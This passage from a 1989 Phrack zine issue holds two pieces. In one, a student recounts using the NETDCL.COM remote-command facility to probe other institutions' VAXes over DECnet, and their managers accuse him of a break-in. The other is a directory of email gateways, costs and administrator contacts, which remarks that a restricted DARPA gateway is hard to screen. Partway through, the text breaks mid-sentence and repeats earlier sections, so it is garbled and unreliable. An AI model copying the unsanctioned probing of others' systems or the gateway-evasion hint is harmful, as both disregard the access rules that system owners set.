  11606.  
  11607.     More information on DECnet can be found in "Looking Around In DECnet"
  11608. by
  11609. Deep Thought in this very issue of Phrack Inc.
  11610. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  11611. - -
  11612.  
  11613.      Here, at the University of Ulm, we have an *incredibly* ignorant
  11614. computer
  11615. center staff, with an even bigger lack of system-literature (besides the 80
  11616. kg
  11617. of VAX/VMS-manuals).  The active may search for information by himself,
  11618. which
  11619. is over the level of "run," "FORTRAN," or "logout."  My good luck that I
  11620. have
  11621. other accounts in the BELWUE-DECnet, where more information is offered for
  11622. the
  11623. users.  I am a regular student in Ulm and all my accounts are completely
  11624. legal
  11625. and corresponding to the German laws.  I don't call myself a "hacker," I
  11626. feel
  11627. more like a "user" (...it's more a defining-problem).
  11628.  
  11629.      In the HELP-menu in a host in Tuebingen I found the file netdcl.com
  11630. and
  11631. the corresponding explanation, which sends commands to the DECNET-Account
  11632. of
  11633. other VAXes and executes them there (remote command).  The explanation in
  11634. the
  11635. HELP-menu was idiot-proof -- therefore for me, too :-)
  11636.  
  11637.      With the command "$ mcr ncp show known nodes" you can obtain a list of
  11638. all
  11639. netwide active VAXes, as is generally known, and so I pinged all these
  11640. VAXes to
  11641. look for more information for a knowledge-thirsty user.  With "help", "dir"
  11642. and
  11643. other similar commands I look around on those DECnet accounts, always
  11644. watching
  11645. for topics related to the BELWUE-network.  It's a pity, that 2/3 of all
  11646. VAXes
  11647. have locked the DECNET-Account for NETDCL.COM.  Their system managers are
  11648. probably afraid of unauthorized access, but I cannot imagine how there
  11649. could be
  11650. such an unauthorized access, because you cannot log on this account -- no
  11651. chance for trojan horses, etc.
  11652.  
  11653.      Some system managers called me back after I visited their VAX to chat
  11654. with
  11655. me about the network and asked me if they could help me in any way. One
  11656. sysop
  11657.  
  11658.  
  11659. from Stuttgart even sent me a version of NETDCL.COM for the ULTRIX
  11660. operation
  11661. system.
  11662.  
  11663.      Then, after a month, the  H O R R O R  came over me in shape of a the
  11664. following mail:
  11665.  
  11666. --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
  11667. ---
  11668. From:   TUEBINGEN::SYSTEM       31-MAY-1989 15:31:11.38
  11669. To:     FRAMSTAG
  11670. CC:
  11671. Subj:   don't make any crap, or you'll be kicked out!
  11672.  
  11673. From:   ITTGPX::SYSTEM       29-MAY-1989 16:46
  11674. To:     TUEBINGEN::SYSTEM
  11675. Subj:   System-breaking-in 01-May-1989
  11676.  
  11677. To the system manager of the Computer TUEBINGEN,
  11678.  
  11679. On May 1st 1989 we had a System-breaking-in in our DECNET-account, which
  11680. started from your machine.  By help of our accounting we ascertained your
  11681. user
  11682. FRAMSTAG to have emulated an interactive log-on on our backbone-node and on
  11683. every machine of our VAX-cluster with the "trojan horse" NETDCL.COM.  Give
  11684. us
  11685. this user's name and address and dear up the occurrence completely.  We
  11686. point
  11687. out that the user is punishable.  In case of repetition we would be forced
  11688. to
  11689. take corresponding measures.  We will check whether our system got injured.
  11690. If
  11691. not, this time we will disregard any measure.  Inform us via DECnet about
  11692. your
  11693. investigation results -- we are attainable by the nodenumber 1084::system
  11694.  
  11695. Dipl.-Ing. Michael Hager
  11696. --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
  11697. ---
  11698.  
  11699.      My system manager threatened me with the deleting of my account, if I
  11700. would not immediately enlighten the affair.  *Gulp*!
  11701.      I was conscious about my innocence, but how to tell it to the others?
  11702. I
  11703. explained, step by step, everything to my system manager.  He then
  11704. understood
  11705. after a while, but the criminal procedure still hovered over me... so, I
  11706. took
  11707. quickly to my keyboard, to compose file of explanations and to send it to
  11708. that
  11709. angry system manager in Stuttgart (node 1084 is an institute there).  But
  11710. no
  11711. way out:  He had run out of disk quota and my explanation-mail sailed into
  11712. the
  11713. nirwana:
  11714.  
  11715. --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
  11716. ---
  11717.  
  11718.  
  11719. $ mail explanation
  11720.   To:   1084::system
  11721. %MAIL-E, error sending to user SYSTEM at 1084
  11722. %MAIL-E-OPENOUT, error opening
  11723. SYS$SYSROOT:[SYSMGR]MAIL$00040092594FD194.MAI;
  11724. as output
  11725. -RMS-E-CRE, ACP file create failed
  11726. -SYSTEM-F-EXDISKQUOTA, disk quota exceeded
  11727. --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
  11728. ---
  11729.  
  11730.      Also the attempt of a connection with the PHONE-facilty failed:  In
  11731. his
  11732. borderless hacker-paranoia, he cut off his PHONE... and nowhere is a list
  11733. with
  11734. the REAL-addresses of the virtual DECnet-addresses available (to prevent
  11735. hacking).  Now I stood there with the brand "DANGEROUS HACKER!" and I had
  11736. no
  11737. chance to vindicate myself.  I poured out my troubles to an acquaintance of
  11738. mine, who is a sysop in the computer-center in Freiburg.  He asked other
  11739. sysops
  11740. and managers thru the whole BELWUE-network until someone gave him a
  11741. telephone
  11742. number after a few days -- and that was the right one!
  11743.  
  11744.      I phoned to this Hager and told him what I had done with his
  11745. DECnet-account and also what NOT.  I wanted to know which crime I had
  11746. committed.  He promptly cancelled all of his reproaches, but he did not
  11747. excuse
  11748. his defamous incriminations.  I entreated him to inform my system manager
  11749. in
  11750. Tuebingen that I have done nothing illegal and to stop him from erasing my
  11751. account.  This happens already to a fellow student of mine (in this case,
  11752. Hager
  11753. was also guilty).  He promised me that he would officially cancel his
  11754. reproaches.
  11755.  
  11756.      After over a week this doesn't happen (I'm allowed to use my account
  11757. further on).  In return for it, I received a new mail from Hager on another
  11758. account of mine:
  11759.  
  11760. --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
  11761. ---
  11762. From:   1084::HAGER         1-JUN-1989 12:51
  11763. To:     50180::STUD_11
  11764. Subj:   System-breaking-in
  11765.  
  11766. On June 1st 1989 you have committed a system-breaking-in on at least one of
  11767. our
  11768. VAXes.  We were able to register this occurrence.  We would be forced to
  11769. take
  11770. further measure if you did not dear up the occurrence completely until June
  11771. 6th.
  11772.  
  11773. Of course the expenses involved would be imposed on you.  Hence
  11774. enlightenment
  11775. must be in your own interest.
  11776.  
  11777.  
  11778.  
  11779. We are attainable via DECnet-mail with the address 1084::HAGER or via
  11780. following
  11781. address:
  11782.  
  11783. Institut fuer Technische Thermodynamik und Thermische Verfahrenstechnik
  11784. Dipl.-Ing. M. Hager    Tel.: 0711/685-6109
  11785. Dipl.-Ing. M. Mrzyglod Tel.: 0711/685-3398
  11786. Pfaffenwaldring 9/10-1
  11787. 7000 Stuttgart-80
  11788.  
  11789.  M. Hager
  11790.  M. Mrzyglod
  11791. --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
  11792. ---
  11793.  
  11794. This was the reaction of my attempt: "$ PHONE 1084::SYSTEM".  I have not
  11795. answered to this mail.  I AM SICK OF IT!
  11796.  
  11797.  
  11798.                                    Framstag
  11799.                           (FRAMSTAG@DTUPEV5A.BITNET)
  11800.  
  11801.          With Special Thanks For Translation Assistance To Schrulli B.
  11802. ___________________________________________________________________________╝____
  11803.  
  11804.  
  11805.  
  11806.                                 ==Phrack Inc.==
  11807.  
  11808.                      Volume Three, Issue 28, File #4 of 12
  11809.  
  11810.                               Network Miscellany
  11811.                               ~~~~~~~~~~~~~~~~~~
  11812.                                  by Taran King
  11813.  
  11814.                                  June 1, 1989
  11815.  
  11816.  
  11817. ACSNET
  11818. ~~~~~~
  11819. Australian Computer Science Network (ACSNET), also known as Oz, has its
  11820. gateway
  11821. through the CSNET node munnari.oz.au and if you cannot directly mail to the
  11822. oz.au domain, try either username%munnari.oz.au@UUNET.UU.NET or
  11823. munnari!username@UUNET.UU.NET.
  11824.  
  11825. AT&T MAIL
  11826. ~~~~~~~~~
  11827. AT&T Mail is a mailing service of AT&T, probably what you might call it's
  11828. MCI-Mail equivalent.  It is available on the UUCP network as node name
  11829. attmail
  11830. but I've had problems having mail get through.  Apparently, it does cost
  11831. money
  11832. to mail to this service and the surrounding nodes are not willing to pick
  11833. up
  11834. the tab for the ingoing mail, or at least, this has seemingly been the case
  11835. thus far.  I believe, though, that perhaps routing to att!attmail!user
  11836.  
  11837.  
  11838. would
  11839. work.
  11840.  
  11841. AT&T recently announced six new X.400 interconnections between AT&T Mail
  11842. and
  11843. electronic mail services in the U.S., Korea, Sweden, Australia, and
  11844. Finland.
  11845. In the U.S., AT&T Mail is now interconnected with Telenet Communications
  11846. Corporation's service, Telemail, allowing users of both services to
  11847. exchange
  11848. messages easily.  With the addition of these interconnections, the AT&T
  11849. Mail
  11850. Gateway 400 Service allows AT&T Mail subscribers to exchange messages with
  11851. users of the following electronic messaging systems:
  11852.  
  11853. Company                    E-Mail Name*            Country
  11854. -------                    ------------            -------
  11855. TeleDelta                  TeDe 400                Sweden
  11856. OTC                        MPS400                  Australia
  11857. Telecom-Canada             Envoy100                Canada
  11858. DACOM                      DACOM MHS               Korea
  11859. P&T-Tele                   MailNet 400             Finland
  11860. Helsinki Telephone Co.     ELISA                   Finland
  11861. Dialcom                    Dialcom                 USA
  11862. Telenet                    Telemail                USA
  11863. KDD                        Messavia                Japan
  11864. Transpac                   ATLAS400                France
  11865.  
  11866. The interconnections are based on the X.400 standard, a set of guidelines
  11867. for
  11868. the format, delivery and receipt of electronic messages recommended by an
  11869. international standards committee the CCITT.  International X.400 messages
  11870. incur a surcharge.  They are:
  11871.  
  11872.                  To Canada:
  11873.                     Per note:            $.05
  11874.                     Per message unit:    $.10
  11875.  
  11876.                  To other international locations:
  11877.                     Per note:            $.20
  11878.                     Per message unit:    $.50
  11879.  
  11880. There is no surcharge for X.400 messages within the U.S.  The following are
  11881. contacts to speak with about mailing through these mentioned networks.
  11882. Other
  11883. questions can be directed through AT&T Mail's toll-free number,
  11884. 1-800-624-5672.
  11885.  
  11886. MHS Gateway:  mhs!atlas                     MHS Gateway:  mhs!dacom
  11887. Administrator:  Bernard Tardieu             Administrator:  Bob Nicholson
  11888. Transpac                                    AT&T
  11889. Phone:  3399283203                          Morristown, NJ  07960
  11890. Phone:  +1 201 644 1838
  11891.  
  11892. MHS Gateway:  mhs!dialcom                   MHS Gateway:  mhs!elisa
  11893. Administrator:  Mr. Laraman                 Administrator:  Ulla
  11894. Karajalainen
  11895. Dialcom                                     Nokia Data
  11896.  
  11897.  
  11898. South Plainfield, NJ  07080                 Phone:  01135804371
  11899. Phone:  +1 441 493 3843
  11900.  
  11901. MHS Gateway:  mhs!envoy                     MHS Gateway:  mhs!kdd
  11902. Administrator:  Kin C. Ma                   Administrator:  Shigeo Lwase
  11903. Telecom Canada                              Kokusai Denshin Denwa CO.
  11904. Phone:  +1 613 567 7584                     Phone:  8133477419
  11905.  
  11906. MHS Gateway:  mhs!mailnet                   MHS Gateway:  mhs!otc
  11907. Administrator:  Kari Aakala                 Administrator:  Gary W.
  11908. Krumbine
  11909. Gen Directorate Of Post &                   AT&T Information Systems
  11910. Phone:  35806921730                         Lincroft, NJ  07738
  11911.                                             Phone:  +1 201 576 2658
  11912.  
  11913. MHS Gateway:  mhs!telemail                  MHS Gateway:  mhs
  11914. Administrator:  Jim Kelsay                  Administrator:  AT&T Mail MHS
  11915. GTE Telenet Comm Corp                                       Gateway
  11916. Reston, VA  22096                           AT&T
  11917. Phone:  +1 703 689 6034                     Lincroft, NJ  08838
  11918.                                             Phone:  +1 800 624 5672
  11919.  
  11920. CMR
  11921. ~~~
  11922. Previously known as Intermail, the Commercial Mail Relay (CMR) Service is a
  11923. mail relay service between the Internet and three commercial electronic
  11924. mail
  11925. systems:  US Sprint/Telenet, MCI-Mail, and DIALCOM systems (i.e. Compmail,
  11926. NSFMAIL, and USDA-MAIL).
  11927.  
  11928. An important note:  The only requirement for using this mail gateway is
  11929. that
  11930. the work conducted must be DARPA sponsored research and other approved
  11931. government business.  Basically, this means that unless you've got some
  11932. government-related business, you're not supposed to be using this gateway.
  11933. Regardless, it would be very difficult for them to screen everything that
  11934. goes
  11935. through their gateway.  Before I understood the requirements of this
  11936. gateway, I
  11937. was sending to a user of MCI-Mail and was not contacted about any problems
  11938. with
  11939. that communication.  Unfortunately, I mistyped the MCI-Mail address on one
  11940. of
  11941. the letters and that letter ended up getting read by system administrators
  11942. who
  11943. then informed me that I was not to be using that system, as well as the
  11944. fact
  11945. that they would like to bill me for using it.  That was an interesting
  11946. thought
  11947. on their part anyway, but do note that using this service does incur
  11948. charges.
  11949.  
  11950. The CMR mailbox address in each system corresponds to the label:
  11951.  
  11952.           Telemail:  [Intermail/USCISI]TELEMAIL/USA
  11953.           MCI-Mail:  Intermail      or      107-8239
  11954.           CompMail:  Intermail      or      CMP0817
  11955.           NSF-Mail:  Intermail      or      NSF153
  11956.  
  11957.  
  11958.          USDA-Mail:  Intermail      or      AGS9999
  11959.  
  11960. Addressing examples for each e-mail system are as follows:
  11961.  
  11962. MCIMAIL:
  11963.    123-4567             seven digit address
  11964.    Everett T. Bowens    person's name (must be unique!)
  11965.  
  11966. COMPMAIL:
  11967.    CMP0123              three letters followed by three or four digits
  11968.    S.Cooper             initial, then "." and then last name
  11969.    134:CMP0123          domain, then ":" and then combination system and
  11970.                         account number
  11971.  
  11972. NSFMAIL:
  11973.    NSF0123              three letters followed by three or four digits
  11974.    A.Phillips           initial, then "." and then last name
  11975.    157:NSF0123          domain, then ":" and then combination system and
  11976.                          account number
  11977.  
  11978. USDAMAIL:
  11979.    AGS0123              three letters followed by three or four digits
  11980.    P.Shifter            initial, then "." and then last name
  11981.    157:AGS0123          domain, then ":" and then combination system and
  11982.                          account number
  11983.  
  11984. TELEMAIL:
  11985.    BARNOC               user (directly on Telemail)
  11986.    BARNOC/LODH          user/organization (directly on Telemail)
  11987.    [BARNOC/LODH]TELEMAIL/USA
  11988.                          [user/organization]system branch/country
  11989.  
  11990. The following are other Telenet system branches/countries that can be
  11991. mailed
  11992. to:
  11993.  
  11994. TELEMAIL/USA     NASAMAIL/USA     MAIL/USA            TELEMEMO/AUSTRALIA
  11995. TELECOM/CANADA   TOMMAIL/CHILE    TMAILUK/GB          ITALMAIL/ITALY
  11996. ATI/JAPAN        PIPMAIL/ROC      DGC/USA             FAAMAIL/USA
  11997. GSFC/USA         GTEMAIL/USA      TM11/USA            TNET.TELEMAIL/USA
  11998. USDA/USA
  11999.  
  12000.      Note:  OMNET's ScienceNet is on the Telenet system MAIL/USA and to
  12001. mail to
  12002. it, the format would be [A.MAILBOX/OMNET]MAIL/USA.  The following are
  12003. available
  12004. subdivisions of OMNET:
  12005.  
  12006.          AIR     Atmospheric Sciences
  12007.          EARTH   Solid Earth Sciences
  12008.          LIFE    Life Sciences
  12009.          OCEAN   Ocean Sciences
  12010.          POLAR   Interdisciplinary Polar Studies
  12011.          SPACE   Space Science and Remote Sensing
  12012.  
  12013. The following is a list of DIALCOM systems available in the listed
  12014. countries
  12015. with their domain and system numbers:
  12016.  
  12017.  
  12018.  
  12019. Service Name            Country             Domain Number    System Number
  12020. ~~~~~~~~~~~~            ~~~~~~~             ~~~~~~~~~~~~~    ~~~~~~~~~~~~~
  12021. Keylink-Dialcom         Australia           60               07, 08, 09
  12022. Dialcom                 Canada              20               20, 21, 22,
  12023. 23, 24
  12024. DPT Databoks            Denmark             124              71
  12025. Telebox                 Finland             127              62
  12026. Telebox                 West Germany        30               15, 16
  12027. Dialcom                 Hong Kong           80               88, 89
  12028. Eirmail                 Ireland             100              74
  12029. Goldnet                 Israel              50               05, 06
  12030. Mastermail              Italy               130              65, 67
  12031. Mastermail              Italy               1                66, 68
  12032. Dialcom                 Japan               70               13, 14
  12033. Dialcom                 Korea               1                52
  12034. Telecom Gold            Malta               100              75
  12035. Dialcom                 Mexico              1                52
  12036. Memocom                 Netherlands         124              27, 28, 29
  12037. Memocom                 Netherlands         1                55
  12038. Starnet                 New Zealand         64               01, 02
  12039. Dialcom                 Puerto Rico         58               25
  12040. Telebox                 Singapore           88               10, 11, 12
  12041. Dialcom                 Taiwan              1                52
  12042. Telecom Gold            United Kingdom      100              01, 04, 17,
  12043. 80-89
  12044. DIALCOM                 USA                 1                29, 30, 31,
  12045. 32,
  12046.                                                              33, 34, 37,
  12047. 38,
  12048.                                                              41-59, 61, 62,
  12049. 63,
  12050.                                                              90-99
  12051.  
  12052.  NOTE:  You can also mail to username@NASAMAIL.NASA.GOV or
  12053.         username@GSFCMAIL.NASA.GOV instead of going through the CMR gateway
  12054. to
  12055.         mail to NASAMAIL or GSFCMAIL.
  12056.  
  12057. For more information and instructions on how to use CMR, send a message to
  12058. the
  12059. user support group at intermail-request@intermail.isi.edu (you'll get
  12060. basically
  12061. what I've listed plus maybe a bit more).  Please read Chapter 3 of The
  12062. Future
  12063. Transcendent Saga (Limbo to Infinity) for specifics on mailing to these
  12064. destination mailing systems.
  12065.  
  12066. COMPUSERVE
  12067. ~~~~~~~~~~
  12068. CompuServe is well known for its games and conferences.  It does, though,
  12069. have
  12070. mailing capability.  Now, they have developed their own Internet domain,
  12071. called
  12072. COMPUSERVE.COM.  It is relatively new and mail can be routed through either
  12073. TUT.CIS.OHIO-STATE.EDU or NORTHWESTERN.ARPA.
  12074.  
  12075. Example: user%COMPUSERVE.COM@TUT.CIS.OHIO-STATE.EDU or replace
  12076.  
  12077.  
  12078.          TUT.CIS.OHIO-STATE.EDU with NORTHWESTERN.ARPA).
  12079.  
  12080. The CompuServe link appears to be a polled UUCP connection at the gateway
  12081. machine.  It is actually managed via a set of shell scripts and a comm
  12082. utility
  12083. called xcomm, which operates via command scripts built on the fly by the
  12084. shell
  12085. scripts during analysis of what jobs exist to go into and out of
  12086. CompuServe.
  12087.  
  12088. CompuServe subscriber accounts of the form 7xxxx,yyyy can be addressed as
  12089. 7xxxx.yyyy@compuserve.com.  CompuServe employees can be addressed by their
  12090. usernames in the csi.compuserve.com subdomain.  CIS subscribers write mail
  12091. to
  12092. ">inet:user@host.domain" to mail to users on the Wide-Area Networks, where
  12093. ">gateway:" is CompuServe's internal gateway access syntax.  The gateway
  12094. generates fully-RFC-compliant headers.
  12095.  
  12096. To fully extrapolate -- from the CompuServe side, you would use their
  12097. EasyPlex
  12098. mail system to send mail to someone in BITNET or the Internet.   For
  12099. example,
  12100. to send me mail at my Bitnet id, you would address it to:
  12101.  
  12102.             INET:C488869%UMCVMB.BITNET@CUNYVM.CUNY.EDU
  12103.  
  12104. Or to my Internet id:
  12105.  
  12106.             INET:C488869@UMCVMB.MISSOURI.EDU
  12107.  
  12108. Now, if you have a BITNET to Internet userid, this is a silly thing to do,
  12109. since your connect time to CompuServe costs you money.  However, you can
  12110. use
  12111. this information to let people on CompuServe contact YOU.  CompuServe
  12112. Customer
  12113. Service says that there is no charge to either receive or send a message to
  12114. the
  12115. Internet or BITNET.
  12116.  
  12117. DASNET
  12118. ~~~~~~
  12119. DASnet is a smaller network that connects to the Wide-Area Networks but
  12120. charges
  12121. for their service.  DASnet subscribers get charged for both mail to users
  12122. on
  12123. other networks AND mail for them from users of other networks.  The
  12124. following
  12125. is a brief description of DASnet, some of which was taken from their
  12126. promotional text letter.
  12127.  
  12128. DASnet allows you to exchange electronic mail with people on more than 20
  12129. systems and networks that are interconnected with DASnet.  One of the
  12130. drawbacks, though, is that, after being subscribed to these services, you
  12131. must
  12132. then subscribe to DASnet, which is a separate cost.  Members of Wide-Area
  12133. networks can subscribe to DASnet too.  Some of the networks and systems
  12134. reachable through DASnet include the following:
  12135.  
  12136.  
  12137.  
  12138.      ABA/net, ATT Mail, BIX (Byte Information eXchange), DASnet Network,
  12139.      Dialcom, EIES, EasyLink, Envoy 100, FAX, GeoMail, INET, MCI Mail, NWI,
  12140.      PeaceNet/EcoNet, Portal Communications, The Meta Network, The Source,
  12141.      Telemail, ATI's Telemail (Japan), Telex, TWICS (Japan), UNISON, UUCP,
  12142. The
  12143.      WELL, and Domains (i.e. ".COM" and ".EDU" etc.).  New systems are
  12144. added
  12145.      all of the time.  As of the writing of this file, Connect, GoverNET,
  12146.      MacNET, and The American Institute of Physics PI-MAIL are soon to be
  12147.      connected.
  12148.  
  12149. You can get various accounts on DASnet including:
  12150.  
  12151.   o  Corporate Accounts -- If your organization wants more than one
  12152. individual
  12153.                            subscription.
  12154.   o  Site Subscriptions -- If you want DASnet to link directly to your
  12155.                            organization's electronic mail system.
  12156.  
  12157. To send e-mail through DASnet, you send the message to the DASnet account
  12158. on
  12159. your home system.  You receive e-mail at your mailbox, as you do now.  On
  12160. the
  12161. Wide-Area Networks, you send mail to XB.DAS@STANFORD.BITNET.  On the
  12162. Subject:
  12163. line, you type the DASnet address in brackets and then the username just
  12164. outside of them.  The real subject can be expressed after the username
  12165. separated by a "!"  (Example:  Subject:  [0756TK]randy!How's Phrack?).
  12166.  
  12167. The only disadvantage of using DASnet as opposed to Wide-Area networks is
  12168. the
  12169. cost.  Subscription costs as of 3/3/89 cost $4.75 per month or $5.75 per
  12170. month
  12171. for hosts that are outside of the U.S.A.
  12172.  
  12173. You are also charged for each message that you send.  If you are
  12174. corresponding
  12175. with someone who is not a DASnet subscriber, THEIR MAIL TO YOU is billed to
  12176. your account.
  12177.  
  12178. The following is an abbreviated cost list for mailing to the different
  12179. services
  12180. of DASnet:
  12181.  
  12182.      PARTIAL List                DASnet Cost    DASnet Cost
  12183.      of Services                  1st 1000    Each Add'l 1000
  12184.      Linked by DASnet (e-mail)   Characters     Characters:
  12185.  
  12186.      INET, MacNET, PeaceNet,                             NOTE:  20 lines
  12187.      Unison, UUCP*, Domains,        .21            .11   of text is app.
  12188.      e.g. .COM, .EDU*                                    1000 characters.
  12189.  
  12190.      Dialcom--Any "host" in U.S.    .36            .25
  12191.  
  12192.      Dialcom--Hosts outside U.S.    .93            .83
  12193.  
  12194.      EasyLink (From EasyLink)       .21            .11
  12195.               (To EasyLink)         .55            .23
  12196.  
  12197.  
  12198.  
  12199.      U.S. FAX (internat'l avail.)   .79            .37
  12200.  
  12201.      GeoMail--Any "host" in U.S.    .21            .11
  12202.      GeoMail--Hosts outside U.S.    .74            .63
  12203.  
  12204.      MCI  (from MCI)                .21            .11
  12205.           (to MCI)                  .78            .25
  12206.           (Paper mail - USA)       2.31            .21
  12207.  
  12208.      Telemail                       .36            .25
  12209.  
  12210.      W.U. Telex--United States     1.79           1.63
  12211.      (You can also send Telexes outside the U.S.)
  12212.  
  12213.      TWICS--Japan                   .89            .47
  12214.  
  12215.   *  The charges given here are to the gateway to the network.  The DASnet
  12216.      user is not charged for transmission on the network itself.
  12217.  
  12218. Subscribers to DASnet get a free DASnet Network Directory as well as a
  12219. listing
  12220. in the directory, and the ability to order optional DASnet services like
  12221. auto-porting or DASnet Telex Service which gives you your own Telex number
  12222. and
  12223. answerback for $8.40 a month at this time.
  12224.  
  12225. DASnet is a registered trademark of DA Systems, Inc.
  12226.  
  12227.                                DA Systems, Inc.
  12228.                              1503 E. Campbell Ave.
  12229.                               Campbell, CA  95008
  12230.                                  408-559-7434
  12231.                              TELEX:  910 380-3530
  12232.  
  12233. The following two sections on PeaceNet and AppleLink are in association
  12234. with
  12235. DASnet as this network is what is used to connect00             Finland
  12236. Helsinki Telephone Co.     ELISA                   Finland
  12237. Dialcom                    Dialcom                 USA
  12238. Telenet                    Telemail                USA
  12239. KDD                        Messavia                Japan
  12240. Transpac                   ATLAS400                France
  12241.  
  12242. The interconnections are based on the X.400 standard, a set of guidelines
  12243. for
  12244. the format, delivery and receipt of electronic messages recommended by an
  12245. international standards committee the CCITT.  International X.400 messages
  12246. incur a surcharge.  They are:
  12247.  
  12248.                  To Canada:
  12249.                     Per note:            $.05
  12250.                     Per message unit:    $.10
  12251.  
  12252.                  To other international locations:
  12253.                     Per note:            $.20
  12254.                     Per message unit:    $.50
  12255.  
  12256.  
  12257.  
  12258. There is no surcharge for X.400 messages within the U.S.  The following are
  12259. contacts to speak with about mailing through these mentioned networks.
  12260. Other
  12261. questions can be directed through AT&T Mail's toll-free number,
  12262. 1-800-624-5672.
  12263.  
  12264. MHS Gateway:  mhs!atlas                     MHS Gateway:  mhs!dacom
  12265. Administrator:  Bernard Tardieu             Administrator:  Bob Nicholson
  12266. Transpac                                    AT&T
  12267. Phone:  3399283203                          Morristown, NJ  07960
  12268. Phone:  +1 201 644 1838
  12269.  
  12270. MHS Gateway:  mhs!dialcom                   MHS Gateway:  mhs!elisa
  12271. Administrator:  Mr. Laraman                 Administrator:  Ulla
  12272. Karajalainen
  12273. Dialcom                                     Nokia Data
  12274. South Plainfield, NJ  07080                 Phone:  01135804371
  12275. Phone:  +1 441 493 3843
  12276.  
  12277. MHS Gateway:  mhs!envoy                     MHS Gateway:  mhs!kdd
  12278. Administrator:  Kin C. Ma                   Administrator:  Shigeo Lwase
  12279. Telecom Canada                              Kokusai Denshin Denwa CO.
  12280. Phone:  +1 613 567 7584                     Phone:  8133477419
  12281.  
  12282. MHS Gateway:  mhs!mailnet                   MHS Gateway:  mhs!otc
  12283. Administrator:  Kari Aakala                 Administrator:  Gary W.
  12284. Krumbine
  12285. Gen Directorate Of Post &                   AT&T Information Systems
  12286. Phone:  35806921730                         Lincroft, NJ  07738
  12287.                                             Phone:  +1 201 576 2658
  12288.  
  12289. MHS Gateway:  mhs!telemail                  MHS Gateway:  mhs
  12290. Administrator:  Jim Kelsay                  Administrator:  AT&T Mail MHS
  12291. GTE Telenet Comm Corp                                       Gateway
  12292. Reston, VA  22096                           AT&T
  12293. Phone:  +1 703 689 6034                     Lincroft, NJ  08838
  12294.                                             Phone:  +1 800 624 5672
  12295.  
  12296. CMR
  12297. ~~~
  12298. Previously known as Intermail, the Commercial Mail Relay (CMR) Service is a
  12299. mail relay service between the Internet and three commercial electronic
  12300. mail
  12301. systems:  US Sprint/Telenet, MCI-Mail, and DIALCOM systems (i.e. Compmail,
  12302. NSFMAIL, and USDA-MAIL).
  12303.  
  12304. An important note:  The only requirement for using this mail gateway is
  12305. that
  12306. the work conducted must be DARPA sponsored research and other approved
  12307. government business.  Basically, this means that unless you've got some
  12308. government-related business, you're not supposed to be using this gateway.
  12309. Regardless, it would be very difficult for them to screen everything that
  12310. goes
  12311. through their gateway.  Before I understood the requirements of this
  12312. gateway, I
  12313. was sending to a user of MCI-Mail and was not contacted about any problems
  12314. with
  12315. that communication.  Unfortunately, I mistyped the MCI-Mail address on one
  12316.  
  12317.  
  12318. of
  12319. the letters and that letter ended up getting read by system administrators
  12320. who
  12321. then informed me that I was not to be using that system, as well as the
  12322. fact
  12323. that they would like to bill me for using it.  That was an interesting
  12324. thought
  12325. on their part anyway, but do note that using this service does incur
  12326. charges.
  12327.  
  12328. The CMR mailbox address in each system corresponds to the label:
  12329.  
  12330.           Telemail:  [Intermail/USCISI]TELEMAIL/USA
  12331.           MCI-Mail:  Intermail      or      107-8239
  12332.           CompMail:  Intermail      or      CMP0817
  12333.           NSF-Mail:  Intermail      or      NSF153
  12334.          USDA-Mail:  Intermail      or      AGS9999
  12335.  
  12336. Addressing examples for each e-mail system are as follows:
  12337.  
  12338. MCIMAIL:
  12339.    123-4567             seven digit address
  12340.    Everett T. Bowens    person's name (must be unique!)
  12341.  
  12342. COMPMAIL:
  12343.    CMP0123              three letters followed by three or four digits
  12344.    S.Cooper             initial, then "." and then last name
  12345.    134:CMP0123          domain, then ":" and then combination system and
  12346.                         account number
  12347.  
  12348. NSFMAIL:
  12349.    NSF0123              three letters followed by three or four digits
  12350.    A.Phillips           initial, then "." and then last name
  12351.    157:NSF0123          domain, then ":" and then combination system and
  12352.                          account number
  12353.  
  12354. USDAMAIL:
  12355.    AGS0123              three letters followed by three or four digits
  12356.    P.Shifter            initial, then "." and then last name
  12357.    157:AGS0123          domain, then ":" and then combination system and
  12358.                          account number
  12359.  
  12360. TELEMAIL:
  12361.    BARNOC               user (directly on Telemail)
  12362.    BARNOC/LODH          user/organization (directly on Telemail)
  12363.    [BARNOC/LODH]TELEMAIL/USA
  12364.                          [user/organization]system branch/country
  12365.  
  12366. The following are other Telenet system branches/countries that can be
  12367. mailed
  12368. to:
  12369.  
  12370. TELEMAIL/USA     NASAMAIL/USA     MAIL/USA            TELEMEMO/AUSTRALIA
  12371. TELECOM/CANADA   TOMMAIL/CHILE    TMAILUK/GB          ITALMAIL/ITALY
  12372. ATI/JAPAN        PIPMAIL/ROC      DGC/USA             FAAMAIL/USA
  12373. GSFC/USA         GTEMAIL/USA      TM11/USA            TNET.TELEMAIL/USA
  12374. USDA/USA
  12375.  
  12376.  
  12377.  
  12378.      Note:  OMNET's ScienceNet is on the Telenet system MAIL/USA and to
  12379. mail to
  12380. it, the format would be [A.MAILBOX/OMNET]MAIL/USA.  The following are
  12381. available
  12382. subdivisions of OMNET:
  12383.  
  12384.          AIR     Atmospheric Sciences
  12385.          EARTH   Solid Earth Sciences
  12386.          LIFE    Life Sciences
  12387.          OCEAN   Ocean Sciences
  12388.          POLAR   Interdisciplinary Polar Studies
  12389.          SPACE   Space Science and Remote Sensing
  12390.  
  12391. The following is a list of DIALCOM systems available in the listed
  12392. countries
  12393. with their domain and system numbers:
  12394.  
  12395. Service Name            Country             Domain Number    System Number
  12396. ~~~~~~~~~~~~            ~~~~~~~             ~~~~~~~~~~~~~    ~~~~~~~~~~~~~
  12397. Keylink-Dialcom         Australia           60               07, 08, 09
  12398. Dialcom                 Canada              20               20, 21, 22,
  12399. 23, 24
  12400. DPT Databoks            Denmark             124              71
  12401. Telebox                 Finland             127              62
  12402. Telebox                 West Germany        30               15, 16
  12403. Dialcom                 Hong Kong           80               88, 89
  12404. Eirmail                 Ireland             100              74
  12405. Goldnet                 Israel              50               05, 06
  12406. Mastermail              Italy               130              65, 67
  12407. Mastermail              Italy               1                66, 68
  12408. Dialcom                 Japan               70               13, 14
  12409. Dialcom                 Korea               1                52
